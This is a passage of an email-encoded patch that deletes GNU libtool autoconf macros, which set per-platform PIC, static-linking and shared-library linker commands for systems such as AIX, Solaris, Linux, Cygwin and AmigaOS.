PIC. - _LT_AC_TAGVAR(lt_prog_compiler_static, $1)=3D'-non_shared' - ;; - - solaris*) - _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'-KPIC' - _LT_AC_TAGVAR(lt_prog_compiler_static, $1)=3D'-Bstatic' - case $cc_basename in - f77* | f90* | f95*) -=09_LT_AC_TAGVAR(lt_prog_compiler_wl, $1)=3D'-Qoption ld ';; - *) -=09_LT_AC_TAGVAR(lt_prog_compiler_wl, $1)=3D'-Wl,';; - esac - ;; - - sunos4*) - _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)=3D'-Qoption ld ' - _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'-PIC' - _LT_AC_TAGVAR(lt_prog_compiler_static, $1)=3D'-Bstatic' - ;; - - sysv4 | sysv4.2uw2* | sysv4.3*) - _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)=3D'-Wl,' - _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'-KPIC' - _LT_AC_TAGVAR(lt_prog_compiler_static, $1)=3D'-Bstatic' - ;; - - sysv4*MP*) - if test -d /usr/nec ;then -=09_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'-Kconform_pic' -=09_LT_AC_TAGVAR(lt_prog_compiler_static, $1)=3D'-Bstatic' - fi - ;; - - sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*) - _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)=3D'-Wl,' - _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'-KPIC' - _LT_AC_TAGVAR(lt_prog_compiler_static, $1)=3D'-Bstatic' - ;; - - unicos*) - _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)=3D'-Wl,' - _LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=3Dno - ;; - - uts4*) - _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'-pic' - _LT_AC_TAGVAR(lt_prog_compiler_static, $1)=3D'-Bstatic' - ;; - - *) - _LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=3Dno - ;; - esac - fi -]) -AC_MSG_RESULT([$_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)]) - -# -# Check to make sure the PIC flag actually works. -# -if test -n "$_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)"; then - AC_LIBTOOL_COMPILER_OPTION([if $compiler PIC flag $_LT_AC_TAGVAR(lt_= prog_compiler_pic, $1) works], - _LT_AC_TAGVAR(lt_prog_compiler_pic_works, $1), - [$_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)ifelse([$1],[],[ -DPIC],[= ifelse([$1],[CXX],[ -DPIC],[])])], [], - [case $_LT_AC_TAGVAR(lt_prog_compiler_pic, $1) in - "" | " "*) ;; - *) _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D" $_LT_AC_TAGVAR(lt_= prog_compiler_pic, $1)" ;; - esac], - [_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D - _LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=3Dno]) -fi -case $host_os in - # For platforms which do not support PIC, -DPIC is meaningless: - *djgpp*) - _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D - ;; - *) - _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D"$_LT_AC_TAGVAR(lt_prog_= compiler_pic, $1)ifelse([$1],[],[ -DPIC],[ifelse([$1],[CXX],[ -DPIC],[]= )])" - ;; -esac - -# -# Check to make sure the static flag actually works. -# -wl=3D$_LT_AC_TAGVAR(lt_prog_compiler_wl, $1) eval lt_tmp_static_flag= =3D\"$_LT_AC_TAGVAR(lt_prog_compiler_static, $1)\" -AC_LIBTOOL_LINKER_OPTION([if $compiler static flag $lt_tmp_static_flag= works], - _LT_AC_TAGVAR(lt_prog_compiler_static_works, $1), - $lt_tmp_static_flag, - [], - [_LT_AC_TAGVAR(lt_prog_compiler_static, $1)=3D]) -]) - - -# AC_LIBTOOL_PROG_LD_SHLIBS([TAGNAME]) -# ------------------------------------ -# See if the linker supports building shared libraries. -AC_DEFUN([AC_LIBTOOL_PROG_LD_SHLIBS], -[AC_MSG_CHECKING([whether the $compiler linker ($LD) supports shared l= ibraries]) -ifelse([$1],[CXX],[ - _LT_AC_TAGVAR(export_symbols_cmds, $1)=3D'$NM $libobjs $convenience = | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_sy= mbols' - case $host_os in - aix4* | aix5*) - # If we're using GNU nm, then we don't want the "-C" option. - # -C means demangle to AIX nm, but means don't demangle with GNU n= m - if $NM -V 2>&1 | grep 'GNU' > /dev/null; then - _LT_AC_TAGVAR(export_symbols_cmds, $1)=3D'$NM -Bpg $libobjs $con= venience | awk '\''{ if (((\[$]2 =3D=3D "T") || (\[$]2 =3D=3D "D") || (= \[$]2 =3D=3D "B")) && ([substr](\[$]3,1,1) !=3D ".")) { print \[$]3 } }= '\'' | sort -u > $export_symbols' - else - _LT_AC_TAGVAR(export_symbols_cmds, $1)=3D'$NM -BCpg $libobjs $co= nvenience | awk '\''{ if (((\[$]2 =3D=3D "T") || (\[$]2 =3D=3D "D") || = (\[$]2 =3D=3D "B")) && ([substr](\[$]3,1,1) !=3D ".")) { print \[$]3 } = }'\'' | sort -u > $export_symbols' - fi - ;; - pw32*) - _LT_AC_TAGVAR(export_symbols_cmds, $1)=3D"$ltdll_cmds" - ;; - cygwin* | mingw*) - _LT_AC_TAGVAR(export_symbols_cmds, $1)=3D'$NM $libobjs $convenienc= e | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]] /s/.* \([[^ ]]*\)/\1= DATA/;/^.* __nm__/s/^.* __nm__\([[^ ]]*\) [[^ ]]*/\1 DATA/;/^I /d;/^[[= AITW]] /s/.* //'\'' | sort | uniq > $export_symbols' - ;; - *) - _LT_AC_TAGVAR(export_symbols_cmds, $1)=3D'$NM $libobjs $convenienc= e | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_= symbols' - ;; - esac -],[ - runpath_var=3D - _LT_AC_TAGVAR(allow_undefined_flag, $1)=3D - _LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=3Dno - _LT_AC_TAGVAR(archive_cmds, $1)=3D - _LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D - _LT_AC_TAGVAR(old_archive_From_new_cmds, $1)=3D - _LT_AC_TAGVAR(old_archive_from_expsyms_cmds, $1)=3D - _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=3D - _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=3D - _LT_AC_TAGVAR(thread_safe_flag_spec, $1)=3D - _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D - _LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)=3D - _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=3D - _LT_AC_TAGVAR(hardcode_direct, $1)=3Dno - _LT_AC_TAGVAR(hardcode_minus_L, $1)=3Dno - _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=3Dunsupported - _LT_AC_TAGVAR(link_all_deplibs, $1)=3Dunknown - _LT_AC_TAGVAR(hardcode_automatic, $1)=3Dno - _LT_AC_TAGVAR(module_cmds, $1)=3D - _LT_AC_TAGVAR(module_expsym_cmds, $1)=3D - _LT_AC_TAGVAR(always_export_symbols, $1)=3Dno - _LT_AC_TAGVAR(export_symbols_cmds, $1)=3D'$NM $libobjs $convenience = | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_sy= mbols' - # include_expsyms should be a list of space-separated symbols to be = *always* - # included in the symbol list - _LT_AC_TAGVAR(include_expsyms, $1)=3D - # exclude_expsyms can be an extended regexp of symbols to exclude - # it will be wrapped by ` (' and `)$', so one must not match beginni= ng or - # end of line. Example: `a|bc|.*d.*' will exclude the symbols `a' a= nd `bc', - # as well as any symbol that contains `d'. - _LT_AC_TAGVAR(exclude_expsyms, $1)=3D"_GLOBAL_OFFSET_TABLE_" - # Although _GLOBAL_OFFSET_TABLE_ is a valid symbol C name, most a.ou= t - # platforms (ab)use it in PIC code, but their linkers get confused i= f - # the symbol is explicitly referenced. Since portable code cannot - # rely on this symbol name, it's probably fine to never include it i= n - # preloaded symbol tables. - extract_expsyms_cmds=3D - # Just being paranoid about ensuring that cc_basename is set. - _LT_CC_BASENAME([$compiler]) - case $host_os in - cygwin* | mingw* | pw32*) - # FIXME: the MSVC++ port hasn't been tested in a loooong time - # When not using gcc, we currently assume that we are using - # Microsoft Visual C++. - if test "$GCC" !=3D yes; then - with_gnu_ld=3Dno - fi - ;; - interix*) - # we just hope/assume this is gcc and not c89 (=3D MSVC++) - with_gnu_ld=3Dyes - ;; - openbsd*) - with_gnu_ld=3Dno - ;; - esac - - _LT_AC_TAGVAR(ld_shlibs, $1)=3Dyes - if test "$with_gnu_ld" =3D yes; then - # If archive_cmds runs LD, not CC, wlarc should be empty - wlarc=3D'${wl}' - - # Set some defaults for GNU ld with shared library support. These - # are reset later if shared libraries are not supported. Putting t= hem - # here allows them to be overridden if necessary. - runpath_var=3DLD_RUN_PATH - _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'${wl}--rpath ${wl}= $libdir' - _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=3D'${wl}--export-dynam= ic' - # ancient GNU ld didn't support --whole-archive et. al. - if $LD --help 2>&1 | grep 'no-whole-archive' > /dev/null; then -=09_LT_AC_TAGVAR(whole_archive_flag_spec, $1)=3D"$wlarc"'--whole-archi= ve$convenience '"$wlarc"'--no-whole-archive' - else - =09_LT_AC_TAGVAR(whole_archive_flag_spec, $1)=3D - fi - supports_anon_versioning=3Dno - case `$LD -v 2>/dev/null` in - *\ [[01]].* | *\ 2.[[0-9]].* | *\ 2.10.*) ;; # catch versions < = 2.11 - *\ 2.11.93.0.2\ *) supports_anon_versioning=3Dyes ;; # RH7.3 ... - *\ 2.11.92.0.12\ *) supports_anon_versioning=3Dyes ;; # Mandrake= 8.2 ... - *\ 2.11.*) ;; # other 2.11 versions - *) supports_anon_versioning=3Dyes ;; - esac - - # See if GNU ld supports shared libraries. - case $host_os in - aix3* | aix4* | aix5*) - # On AIX/PPC, the GNU linker is very broken - if test "$host_cpu" !=3D ia64; then -=09_LT_AC_TAGVAR(ld_shlibs, $1)=3Dno -=09cat <&2 - -*** Warning: the GNU linker, at least up to release 2.9.1, is reported -*** to be unable to reliably create shared libraries on AIX. -*** Therefore, libtool is disabling shared libraries support. If you -*** really care for shared libraries, you may want to modify your PATH -*** so that a non-GNU linker is found, and then restart. - -EOF - fi - ;; - - amigaos*) - _LT_AC_TAGVAR(archive_cmds, $1)=3D'$rm $output_objdir/a2ixlibrar= y.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~= $echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "= #define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#defi= ne REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS= $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' - _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'-L$libdir' - _LT_AC_TAGVAR(hardcode_minus_L, $1)=3Dyes - - # Samuel A. Falvo II reports - # that the semantics of dynamic libraries on AmigaOS, at least u= p - # to version 4, is to share data among multiple programs linked - # with the same dynamic library. Since this doesn't match the - # behavior of shared libraries on other platforms, we can't use - # them. - _LT_AC_TAGVAR(ld_shlibs, $1)=3Dno - ;; - - beos*) - if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/nu= ll; then -=09_LT_AC_TAGVAR(allow_undefined_flag, $1)=3Dunsupported -=09# Joseph Beckenbach says some releases of gcc -=09# support --undefined. This deserves some investigation. FIXME -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -nostart $libobjs $deplibs $= compiler_flags ${wl}-soname $wl$soname -o $lib' - else -=09_LT_AC_TAGVAR(ld_shlibs, $1)=3Dno - fi - ;; - - cygwin* | mingw* | pw32*) - # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1) is actually meani= ngless, - # as there is no search path for DLLs. - _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'-L$libdir' - _LT_AC_TAGVAR(allow_undefined_flag, $1)=3Dunsupported - _LT_AC_TAGVAR(always_export_symbols, $1)=3Dno - _LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=3Dyes - _LT_AC_TAGVAR(export_symbols_cmds, $1)=3D'$NM $libobjs $convenie= nce | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]] /s/.* \([[^ ]]*\)/= \1 DATA/'\'' | $SED -e '\''/^[[AITW]] /s/.* //'\'' | sort | uniq > $exp= ort_symbols' - - if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then - _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared $libobjs $depli= bs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-b= ase -Xlinker --out-implib -Xlinker $lib' -=09# If the export-symbols file already is a .def file (1st line -=09# is EXPORTS), use it as is; otherwise, prepend... -=09_LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'if test "x`$SED 1q $expor= t_symbols`" =3D xEXPORTS; then -=09 cp $export_symbols $output_objdir/$soname.def; -=09else -=09 echo EXPORTS > $output_objdir/$soname.def; -=09 cat $export_symbols >> $output_objdir/$soname.def; -=09fi~ -=09$CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_= flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker = --out-implib -Xlinker $lib' - else -=09_LT_AC_TAGVAR(ld_shlibs, $1)=3Dno - fi - ;; - - interix3*) - _LT_AC_TAGVAR(hardcode_direct, $1)=3Dno - _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=3Dno - _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'${wl}-rpath,$lib= dir' - _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=3D'${wl}-E' - # Hack: On Interix 3.x, we cannot compile PIC because of a broke= n gcc. - # Instead, shared libraries are loaded at an image base (0x10000= 000 by - # default) and relocated if they conflict, which is a slow very = memory - # consuming and fragmenting process. To avoid this, we pick a r= andom, - # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 a= t link - # time. Moving up from 0x10000000 also allows more sbrk(2) spac= e. - _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared $pic_flag $libobj= s $deplibs $compiler_flags ${wl}-h,$soname ${wl}--image-base,`expr ${RA= NDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib' - _LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'sed "s,^,_," $export_s= ymbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $d= eplibs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$outp= ut_objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / = 2 \* 262144 + 1342177280` -o $lib' - ;; - - linux*) - if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/nu= ll; then -=09tmp_addflag=3D -=09case $cc_basename,$host_cpu in -=09pgcc*)=09=09=09=09# Portland Group C compiler -=09 _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=3D'${wl}--whole-archiv= e`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenienc= e=3D\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}= --no-whole-archive' -=09 tmp_addflag=3D' $pic_flag' -=09 ;; -=09pgf77* | pgf90* | pgf95*)=09# Portland Group f77 and f90 compilers -=09 _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=3D'${wl}--whole-archiv= e`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenienc= e=3D\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}= --no-whole-archive' -=09 tmp_addflag=3D' $pic_flag -Mnomain' ;; -=09ecc*,ia64* | icc*,ia64*)=09=09# Intel C compiler on ia64 -=09 tmp_addflag=3D' -i_dynamic' ;; -=09efc*,ia64* | ifort*,ia64*)=09# Intel Fortran compiler on ia64 -=09 tmp_addflag=3D' -i_dynamic -nofor_main' ;; -=09ifc* | ifort*)=09=09=09# Intel Fortran compiler -=09 tmp_addflag=3D' -nofor_main' ;; -=09esac -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared'"$tmp_addflag"' $lib= objs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' - -=09if test $supports_anon_versioning =3D yes; then -=09 _LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'$echo "{ global:" > $ou= tput_objdir/$libname.ver~ - cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libn= ame.ver~ - $echo "local: *; };" >> $output_objdir/$libname.ver~ -=09 $CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${w= l}-soname $wl$soname ${wl}-version-script ${wl}$output_objdir/$libname.= ver -o $lib' -=09fi - else -=09_LT_AC_TAGVAR(ld_shlibs, $1)=3Dno - fi - ;; - - netbsd*) - if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$LD -Bshareable $libobjs $deplib= s $linker_flags -o $lib' -=09wlarc=3D - else -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared $libobjs $deplibs $c= ompiler_flags ${wl}-soname $wl$soname -o $lib' -=09_LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'$CC -shared $libobjs $dep= libs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file = $wl$export_symbols -o $lib' - fi - ;; - - solaris*) - if $LD -v 2>&1 | grep 'BFD 2\.8' > /dev/null; then -=09_LT_AC_TAGVAR(ld_shlibs, $1)=3Dno -=09cat <&2 - -*** Warning: The releases 2.8.* of the GNU linker cannot reliably -*** create shared libraries on Solaris systems. Therefore, libtool -*** is disabling shared libraries support. We urge you to upgrade GNU -*** binutils to release 2.9.1 or newer. Another option is to modify -*** your PATH or compiler configuration so that the native linker is -*** used, and then restart. - -EOF - elif $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/= null; then -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared $libobjs $deplibs $c= ompiler_flags ${wl}-soname $wl$soname -o $lib' -=09_LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'$CC -shared $libobjs $dep= libs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file = $wl$export_symbols -o $lib' - else -=09_LT_AC_TAGVAR(ld_shlibs, $1)=3Dno - fi - ;; - - sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX*) - case `$LD -v 2>&1` in - *\ [[01]].* | *\ 2.[[0-9]].* | *\ 2.1[[0-5]].*)=20 -=09_LT_AC_TAGVAR(ld_shlibs, $1)=3Dno -=09cat <<_LT_EOF 1>&2 - -*** Warning: Releases of the GNU linker prior to 2.16.91.0.3 can not -*** reliably create shared libraries on SCO systems. Therefore, libto= ol -*** is disabling shared libraries support. We urge you to upgrade GNU -*** binutils to release 2.16.91.0.3 or newer. Another option is to mo= dify -*** your PATH or compiler configuration so that the native linker is -*** used, and then restart. - -_LT_EOF -=09;; -=09*) -=09 if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/nul= l; then -=09 _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'`test -z "$SCOA= BSPATH" && echo ${wl}-rpath,$libdir`' -=09 _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared $libobjs $deplib= s $compiler_flags ${wl}-soname,\${SCOABSPATH:+${install_libdir}/}$sonam= e -o $lib' -=09 _LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'$CC -shared $libobjs = $deplibs $compiler_flags ${wl}-soname,\${SCOABSPATH:+${install_libdir}/= }$soname,-retain-symbols-file,$export_symbols -o $lib' -=09 else -=09 _LT_AC_TAGVAR(ld_shlibs, $1)=3Dno -=09 fi -=09;; - esac - ;; - - sunos4*) - _LT_AC_TAGVAR(archive_cmds, $1)=3D'$LD -assert pure-text -Bshare= able -o $lib $libobjs $deplibs $linker_flags' - wlarc=3D - _LT_AC_TAGVAR(hardcode_direct, $1)=3Dyes - _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=3Dno - ;; - - *) - if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/nu= ll; then -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared $libobjs $deplibs $c= ompiler_flags ${wl}-soname $wl$soname -o $lib' -=09_LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'$CC -shared $libobjs $dep= libs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file = $wl$export_symbols -o $lib' - else -=09_LT_AC_TAGVAR(ld_shlibs, $1)=3Dno - fi - ;; - esac - - if test "$_LT_AC_TAGVAR(ld_shlibs, $1)" =3D no; then - runpath_var=3D - _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D - _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=3D - _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=3D - fi - else - # PORTME fill in a description of your system's linker (not GNU ld= ) - case $host_os in - aix3*) - _LT_AC_TAGVAR(allow_undefined_flag, $1)=3Dunsupported - _LT_AC_TAGVAR(always_export_symbols, $1)=3Dyes - _LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'$LD -o $output_objdir/= $soname $libobjs $deplibs $linker_flags -bE:$export_symbols -T512 -H512= -bM:SRE~$AR $AR_FLAGS $lib $output_objdir/$soname' - # Note: this linker hardcodes the directories in LIBPATH if ther= e - # are no directories specified by -L. - _LT_AC_TAGVAR(hardcode_minus_L, $1)=3Dyes - if test "$GCC" =3D yes && test -z "$lt_prog_compiler_static"; th= en -=09# Neither direct hardcoding nor static linking is supported with a -=09# broken collect2. -=09_LT_AC_TAGVAR(hardcode_direct, $1)=3Dunsupported - fi - ;; - - aix4* | aix5*) - if test "$host_cpu" =3D ia64; then -=09# On IA64, the linker does run time linking by default, so we don't -=09# have to do anything special. -=09aix_use_runtimelinking=3Dno -=09exp_sym_flag=3D'-Bexport' -=09no_entry_flag=3D"" - else -=09# If we're using GNU nm, then we don't want the "-C" option. -=09# -C means demangle to AIX nm, but means don't demangle with GNU nm -=09if $NM -V 2>&1 | grep 'GNU' > /dev/null; then -=09 _LT_AC_TAGVAR(export_symbols_cmds, $1)=3D'$NM -Bpg $libobjs $conv= enience | awk '\''{ if (((\[$]2 =3D=3D "T") || (\[$]2 =3D=3D "D") || (\= [$]2 =3D=3D "B")) && ([substr](\[$]3,1,1) !=3D ".")) { print \[$]3 } }'= \'' | sort -u > $export_symbols' -=09else -=09 _LT_AC_TAGVAR(export_symbols_cmds, $1)=3D'$NM -BCpg $libobjs $con= venience | awk '\''{ if (((\[$]2 =3D=3D "T") || (\[$]2 =3D=3D "D") || (= \[$]2 =3D=3D "B")) && ([substr](\[$]3,1,1) !=3D ".")) { print \[$]3 } }= '\'' | sort -u > $export_symbols' -=09fi -=09aix_use_runtimelinking=3Dno - -=09# Test if we are trying to use run time linking or normal -=09# AIX style linking. If -brtl is somewhere in LDFLAGS, we -=09# need to do runtime linking. -=09case $host_os in aix4.[[23]]|aix4.[[23]].*|aix5*) -=09 for ld_flag in $LDFLAGS; do - =09 if (test $ld_flag =3D "-brtl" || test $ld_flag =3D "-Wl,-brtl")= ; then - =09 aix_use_runtimelinking=3Dyes - =09 break - =09 fi -=09 done -=09 ;; -=09esac - -=09exp_sym_flag=3D'-bexport' -=09no_entry_flag=3D'-bnoentry' - fi - - # When large executables or shared objects are built, AIX ld can - # have problems creating the table of contents. If linking a li= brary - # or program results in "error TOC overflow" add -mminimal-toc t= o - # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not - # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS. - - _LT_AC_TAGVAR(archive_cmds, $1)=3D'' - _LT_AC_TAGVAR(hardcode_direct, $1)=3Dyes - _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=3D':' - _LT_AC_TAGVAR(link_all_deplibs, $1)=3Dyes - - if test "$GCC" =3D yes; then -=09case $host_os in aix4.[[012]]|aix4.[[012]].*) -=09# We only want to do this on AIX 4.2 and lower, the check -=09# below for broken collect2 doesn't work under 4.3+ -=09 collect2name=3D`${CC} -print-prog-name=3Dcollect2` -=09 if test -f "$collect2name" && \ - =09 strings "$collect2name" | grep resolve_lib_name >/dev/null -=09 then - =09 # We have reworked collect2 - =09 _LT_AC_TAGVAR(hardcode_direct, $1)=3Dyes -=09 else - =09 # We have old collect2 - =09 _LT_AC_TAGVAR(hardcode_direct, $1)=3Dunsupported - =09 # It fails to find uninstalled libraries when the uninstalled - =09 # path is not listed in the libpath. Setting hardcode_minus_L - =09 # to unsupported forces relinking - =09 _LT_AC_TAGVAR(hardcode_minus_L, $1)=3Dyes - =09 _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'-L$libdir' - =09 _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=3D -=09 fi -=09 ;; -=09esac -=09shared_flag=3D'-shared' -=09if test "$aix_use_runtimelinking" =3D yes; then -=09 shared_flag=3D"$shared_flag "'${wl}-G' -=09fi - else -=09# not using gcc -=09if test "$host_cpu" =3D ia64; then - =09# VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release - =09# chokes on -Wl,-G. The following line is correct: -=09 shared_flag=3D'-G' -=09else -=09 if test "$aix_use_runtimelinking" =3D yes; then -=09 shared_flag=3D'${wl}-G' -=09 else -=09 shared_flag=3D'${wl}-bM:SRE' -=09 fi -=09fi - fi - - # It seems that -bexpall does not export symbols beginning with - # underscore (_), so it is better to generate a list of symbols = to export. - _LT_AC_TAGVAR(always_export_symbols, $1)=3Dyes - if test "$aix_use_runtimelinking" =3D yes; then -=09# Warning - without using the other runtime loading flags (-brtl), -=09# -berok will link without error, but may produce a broken library. -=09_LT_AC_TAGVAR(allow_undefined_flag, $1)=3D'-berok' - # Determine the default libpath from the value encoded in an em= pty executable. - _LT_AC_SYS_LIBPATH_AIX - _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'${wl}-blibpath:= $libdir:'"$aix_libpath" -=09_LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D"\$CC"' -o $output_objdir/= $soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if = test "x${allow_undefined_flag}" !=3D "x"; then echo "${wl}${allow_undef= ined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared= _flag" - else -=09if test "$host_cpu" =3D ia64; then -=09 _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'${wl}-R $libdir:/= usr/lib:/lib' -=09 _LT_AC_TAGVAR(allow_undefined_flag, $1)=3D"-z nodefs" -=09 _LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D"\$CC $shared_flag"' -o = $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $comp= iler_flags ${wl}${allow_undefined_flag} '"\${wl}$exp_sym_flag:\$export_= symbols" -=09else -=09 # Determine the default libpath from the value encoded in an empty= executable. -=09 _LT_AC_SYS_LIBPATH_AIX -=09 _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'${wl}-blibpath:$li= bdir:'"$aix_libpath" -=09 # Warning - without using the other run time loading flags, -=09 # -berok will link without error, but may produce a broken librar= y. -=09 _LT_AC_TAGVAR(no_undefined_flag, $1)=3D' ${wl}-bernotok' -=09 _LT_AC_TAGVAR(allow_undefined_flag, $1)=3D' ${wl}-berok' -=09 # Exported symbols can be pulled into shared objects from archive= s -=09 _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=3D'$convenience' -=09 _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=3Dyes -=09 # This is similar to how AIX traditionally builds its shared libr= aries. -=09 _LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D"\$CC $shared_flag"' -o = $output_objdir/$soname $libobjs $deplibs ${wl}-bnoentry $compiler_flags= ${wl}-bE:$export_symbols${allow_undefined_flag}~$AR $AR_FLAGS $output_= objdir/$libname$release.a $output_objdir/$soname' -=09fi - fi - ;; - - amigaos*) - _LT_AC_TAGVAR(archive_cmds, $1)=3D'$rm $output_objdir/a2ixlibrar= y.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~= $echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "= #define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#defi= ne REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS= $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' - _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'-L$libdir' - _LT_AC_TAGVAR(hardcode_minus_L, $1)=3Dyes - # see comment about different semantics on the GNU ld section - _LT_AC_TAGVAR(ld_shlibs, $1)=3Dno - ;; - - bsdi[[45]]*) - _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=3D-rdynamic - ;; - - cygwin* | mingw* | pw32*) - # When not using gcc, we currently assume that we are using - # Microsoft Visual C++. - # hardcode_libdir_flag_spec is actually meaningless, as there is - # no search path for DLLs. - _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D' ' - _LT_AC_TAGVAR(allow_undefined_flag, $1)=3Dunsupported - # Tell ltmain to make .lib files, not .a files. - libext=3Dlib - # Tell ltmain to make 